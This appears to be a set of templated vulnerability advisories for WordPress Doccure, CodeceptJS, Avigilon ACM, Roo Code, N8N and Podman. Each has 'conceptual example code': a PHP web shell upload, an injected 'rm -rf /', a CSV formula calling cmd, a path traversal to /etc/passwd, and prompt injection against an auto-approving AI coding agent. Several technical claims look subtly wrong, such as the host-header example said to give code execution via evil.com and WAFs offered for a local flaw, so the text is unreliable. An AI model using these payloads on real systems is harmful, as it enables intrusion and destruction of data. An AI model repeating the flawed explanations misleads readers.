Author: Ameeba

Overview

The Doccure theme for WordPress, a popular theme used by numerous websites globally, contains a serious vulnerability that could potentially compromise the integrity and confidentiality of the affected systems. This vulnerability, known as CVE-2025-9112, involves a flawed file type validation in the ‘doccure_temp_file_uploader’ function. This flaw allows an attacker with merely subscriber-level permissions to upload arbitrary files onto the server, predisposing the system to possible remote code execution. Given the widespread use of WordPress and the Doccure theme, this vulnerability could affect a significant number of websites, posing substantial risk to the data and system security.

Vulnerability Summary

CVE ID: CVE-2025-9112
Severity: High (8.8 CVSS)
Attack Vector: Network
Privileges Required: Low (Subscriber-level permissions)
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Doccure WordPress Theme | All versions up to, and including, 1.4.8

How the Exploit Works

The ‘doccure_temp_file_uploader’ function within the Doccure theme for WordPress doesn’t correctly validate file types during the upload process. An authenticated attacker with subscriber-level permissions could leverage this flaw to upload arbitrary files, including PHP files or other types that could be executed on the server. Since the server hosts these malicious files, it becomes feasible for the attacker to execute remote code, which could lead to system compromise and data leakage.

Conceptual Example Code

Below is a conceptual HTTP request demonstrating how the vulnerability might be exploited:

POST /wp-admin/admin-ajax.php?action=doccure_upload_temp_file HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

This example illustrates the upload of a PHP file ‘exploit.php’, which could later be executed by navigating to its location on the server.
The current mitigation strategy is to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. It is crucial that users update their Doccure WordPress theme to the latest version to protect their systems from potential exploitation.

Overview

In the ever-evolving landscape of cybersecurity, a new and critical vulnerability has surfaced that threatens vast numbers of websites powered by WordPress. This blog post serves to inform developers, administrators, and other stakeholders about the specifics of the vulnerability CVE-2025-9113, its potential impact, and measures to mitigate it.
This vulnerability lies in the Doccure theme for WordPress and allows for arbitrary file uploads, which can lead to remote code execution. The severity of this vulnerability cannot be understated, as it can potentially allow unauthenticated attackers to compromise a system or cause data leakage.

Vulnerability Summary

CVE ID: CVE-2025-9113
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

Doccure Theme for WordPress | Up to and including 1.4.8

How the Exploit Works

The ‘doccure_temp_upload_to_media’ function in Doccure WordPress theme is vulnerable due to a lack of file type validation. This vulnerability allows an attacker to upload arbitrary files to the server hosting the affected WordPress site.
The absence of an authentication mechanism for this function means that any user, authenticated or not, can exploit this vulnerability. After a successful exploit, the attacker can execute the uploaded file, leading to potential system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit the vulnerability using an HTTP POST request to upload a malicious payload.

POST /path/to/doccure_temp_upload_to_media HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW

In this example, an attacker uploads a malicious PHP file (`exploit.php`) which, when executed, allows them to run arbitrary commands on the server.

Mitigation

To mitigate this vulnerability, apply the vendor’s patch as soon as it is available. If a patch is not yet available or cannot be applied immediately, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Regularly update your systems and use secure coding practices to minimize the risk of such vulnerabilities.

Overview

In this blog post, we delve into the details of a critical vulnerability that has been identified in CodeceptJS version 3.7.3, more specifically in the emptyFolder function (lib/utils.js). This vulnerability, known as CVE-2025-57285, can potentially compromise systems or lead to data leakage. It is of paramount importance to developers, system administrators, and cybersecurity professionals who use or manage systems that run on CodeceptJS 3.7.3. A low barrier to exploitation and a high impact make this vulnerability a significant threat that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-57285
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

CodeceptJS | 3.7.3

How the Exploit Works

The vulnerability is a result of the execSync command in the emptyFolder function directly concatenating the user-controlled directoryPath parameter without any form of sanitization or escaping. This permits an attacker to inject arbitrary commands that the system then executes. By exploiting this vulnerability, an attacker can manipulate the application and the system it resides on, giving the attacker the potential ability to compromise the system or leak sensitive data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. To illustrate, an attacker could provide a shell command as the directoryPath parameter:

const CodeceptJS = require('CodeceptJS');
const directoryPath = 'any_directory; rm -rf /'; // The injected command that deletes all files in the root directory
CodeceptJS.emptyFolder(directoryPath);

In this example, the command injection vulnerability is exploited to delete all files in the root directory of the server where the CodeceptJS application is running. This is a conceptual demonstration and the actual exploitation may vary based on the specific application context and system configuration.
Remember, it is crucial to apply the vendor patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.

Overview

The cybersecurity landscape is fraught with vulnerabilities that can be exploited to compromise systems and leak valuable data. One such vulnerability, CVE-2025-56267, presents an alarming concern for users of the Avigilon ACM v7.10.0.20. This vulnerability is a severe CSV injection flaw located in the /id_profiles endpoint, enabling attackers to execute arbitrary code and potentially compromise the system or leak data. This vulnerability affects all systems running this version of the software, highlighting the need for immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-56267
Severity: Critical (9.8 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Avigilon ACM | v7.10.0.20

How the Exploit Works

The exploit works by injecting malicious code into a crafted Excel file which is then uploaded to the /id_profiles endpoint of the Avigilon ACM v7.10.0.20. Since the system does not adequately sanitize the CSV file inputs, the injected code gets executed, potentially leading to system compromise or data leakage. The high severity score of 9.8 underscores the significant impact and ease of exploit.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

POST /id_profiles HTTP/1.1
Host: target.example.com
Content-Type: application/vnd.ms-excel
DATA:
C12: =cmd|'/C calc'!A0

In this example, the exploit uses a standard formula injection technique to call the command line calculator application, which demonstrates the ability to execute arbitrary commands on the system.

Recommended Mitigation

The most effective mitigation for this vulnerability is to apply the vendor-patched update. If that is not immediately possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These tools can help detect and block malicious payloads, mitigating the immediate risk. However, these should only be seen as temporary solutions until the vendor patch can be applied.

Overview

CVE-2025-56266 is a significant cybersecurity vulnerability discovered in the Avigilon Access Control Manager (ACM) software version 7.10.0.20. This vulnerability has the potential to affect a wide range of entities, from small businesses to large corporations, that use the Avigilon ACM for their access control needs. The vulnerability’s severity lies in its ability to allow attackers to execute arbitrary code through a carefully crafted URL, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56266
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Avigilon ACM | v7.10.0.20

How the Exploit Works

The exploit takes advantage of a Host Header Injection vulnerability. This type of vulnerability arises when the server trusts the host header and uses its value in a security-critical way. In this case, an attacker can manipulate the host header by supplying a crafted URL. This manipulation can lead to arbitrary code execution, providing the attacker with access to the system.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request where an attacker crafts a malicious payload in the URL:

GET / HTTP/1.1
Host: www.victim-site.com:80@evil.com

In this example, the attacker has manipulated the host header to redirect the request to ‘evil.com’ while the server thinks it is serving ‘www.victim-site.com’. This can potentially allow the attacker to execute arbitrary code by injecting it into the ‘evil.com’ site.

Mitigation

The most effective way to mitigate this vulnerability is by applying the vendor-released patch, which addresses the Host Header Injection vulnerability in the specified version of Avigilon ACM. In the meantime, before the patch can be applied, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. This can help to monitor and block suspicious activities, thus reducing the chance of a successful exploit.

Overview

A significant vulnerability has been identified in the AI-powered autonomous coding agent, Roo Code, that could potentially compromise system security or cause data leakage. This vulnerability, known as CVE-2025-58372, pertains to versions 3.25.23 and below of Roo Code, and it affects all users who have not yet updated their software. This issue is of great concern as it can enable attackers to execute arbitrary code, potentially leading to a full system compromise.

Vulnerability Summary

CVE ID: CVE-2025-58372
Severity: High (CVSS score 8.1)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Roo Code | Versions 3.25.23 and below

How the Exploit Works

The exploit takes advantage of a vulnerability in Roo Code where certain VS Code workspace configuration files (.code-workspace) are not as protected as the .vscode folder. If the agent was configured to auto-approve file writes, an attacker able to influence prompts (for example via prompt injection) could cause malicious workspace settings or tasks to be written. These tasks could then be executed automatically when the workspace is reopened, leading to arbitrary code execution.

Conceptual Example Code

Consider the following pseudocode as a conceptual example of how the vulnerability might be exploited:

# Attacker injects malicious prompt
inject_prompt("malicious.task")
# Roo Code auto-approves the file write
approve_file_write("malicious.task")
# Malicious task is written into workspace settings
write_to_workspace("malicious.task")
# When workspace is reopened, malicious task is automatically executed
reopen_workspace_execute_task("malicious.task")

In this example, the attacker injects a malicious task via a prompt. Roo Code, if set to auto-approve file writes, approves the write of the malicious task. The task is then written into the workspace settings. When the workspace is reopened, the malicious task is automatically executed, leading to arbitrary code execution.

How to Mitigate the Vulnerability

The most effective way to mitigate this vulnerability is by applying the vendor patch. Roo Code has addressed this issue in version 3.26.0, so updating to this version or later will fix the vulnerability. As a temporary solution, users may also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent potential attacks exploiting this vulnerability. However, these are not long-term solutions and it is strongly recommended to apply the vendor patch as soon as it becomes available.

Overview

The CVE-2025-56265 vulnerability represents an arbitrary file upload exploit within three versions of N8N’s Chat Trigger component. This vulnerability is notable due to its potential to allow attackers to execute arbitrary code by uploading a crafted HTML file. The affected systems are at risk of compromise and potential data leakage, a significant threat to the security and integrity of the system and user data. Any organization utilizing the affected versions of the N8N software should be aware of this vulnerability and take immediate steps to address it.

Vulnerability Summary

CVE ID: CVE-2025-56265
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

N8N | v1.95.3
N8N | v1.100.1
N8N | v1.101.1

How the Exploit Works

The exploit takes advantage of the ability to upload arbitrary files in the Chat Trigger component of N8N. The attacker creates an HTML file with embedded malicious code. When this file is uploaded to the affected N8N versions, the system is tricked into executing the malicious code contained within the uploaded HTML file. This allows the attacker to control the system, potentially compromising it or causing data leakage.

Conceptual Example Code

The following pseudocode illustrates a conceptual example of how an attacker might exploit this vulnerability:

POST /chat_trigger/upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.html"
Content-Type: text/html
<html>
<body>
<script>
// malicious code here
</script>
</body>
</html>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Here, the malicious.html file contains a script that, when executed, may allow the attacker to compromise the system or cause data leakage.

Overview

CVE-2025-58370 is a high severity vulnerability discovered in Roo Code, an AI-powered autonomous coding agent that can be integrated into various coding editors. The vulnerability lies in the command parsing logic of Roo Code versions below 3.26.0. It was discovered that the Bash parameter expansion and indirect reference were not properly handled, leading to a potential security issue. The vulnerability is significant because it can lead to system compromise or data leak if exploited by an attacker. All users of Roo Code versions below 3.26.0 are affected and encouraged to update immediately.

Vulnerability Summary

CVE ID: CVE-2025-58370
Severity: High (CVSS: 8.1)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Roo Code | Versions below 3.26.0

How the Exploit Works

An attacker can exploit this vulnerability by manipulating the command prompts. If the agent is configured to auto-approve the execution of certain commands, the attacker can insert additional arbitrary commands alongside the intended ones. This is possible due to the incorrect handling of Bash parameter expansion and indirect reference in command parsing logic. This would allow the attacker to execute arbitrary commands on the system where Roo Code is installed, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a hypothetical example of how an attacker might exploit the vulnerability:

# Original legitimate command
roo_code_command --execute="legitimate_command"
# Exploited command
roo_code_command --execute="legitimate_command; malicious_command"

In this example, `legitimate_command` is a command that the AI agent is configured to auto-approve, and `malicious_command` is an additional arbitrary command inserted by the attacker. If the agent executes this command, it would also execute the malicious command, leading to a potential security breach.

Mitigation Guidance

To mitigate this vulnerability, users are advised to update their Roo Code to version 3.26.0, where this vulnerability is fixed. If updating is not an immediate option, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to block malicious attempts to exploit this vulnerability. However, this is not a permanent solution and updating to the fixed version is strongly recommended.

Overview

The CVE-2025-9566 vulnerability presents a significant security risk, affecting the podman binary, a popular tool for managing containers. Specifically, the vulnerability allows for unauthorized overwriting of host files, which can lead to potential system compromise or data leakages. Podman users need to be aware of this vulnerability, as it could be exploited by attackers to gain unauthorized access to sensitive data, disrupt system operations, or launch further attacks.

Vulnerability Summary

CVE ID: CVE-2025-9566
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Podman | v4.0.0 to v5.6.0

How the Exploit Works

The vulnerability resides in the kube play command of the podman binary. An attacker may craft a kube file that contains a Secret or a ConfigMap volume mount. If this volume contains a symbolic link to a host file path, the attacker can use this vulnerability to overwrite target host files. However, the attacker cannot control the content written into the overwritten file.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. It demonstrates a kube file with a ConfigMap volume mount that includes a symbolic link to a host file path.

apiVersion: v1
kind: Pod
metadata:
name: vulnerability-demo
spec:
containers:
- name: vulnerability-demo
image: demo
volumeMounts:
- name: config-volume
mountPath: /etc/config
volumes:
- name: config-volume
configMap:
name: link-to-host-file
items:
- key: hostfilepath
path: ../../../etc/passwd

In the above example, the attacker attempts to overwrite the /etc/passwd file on the host.
To mitigate this vulnerability, users are advised to apply the vendor-supplied patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation. It is also crucial to keep your podman version updated, especially beyond v5.6.1, where this vulnerability has been fixed.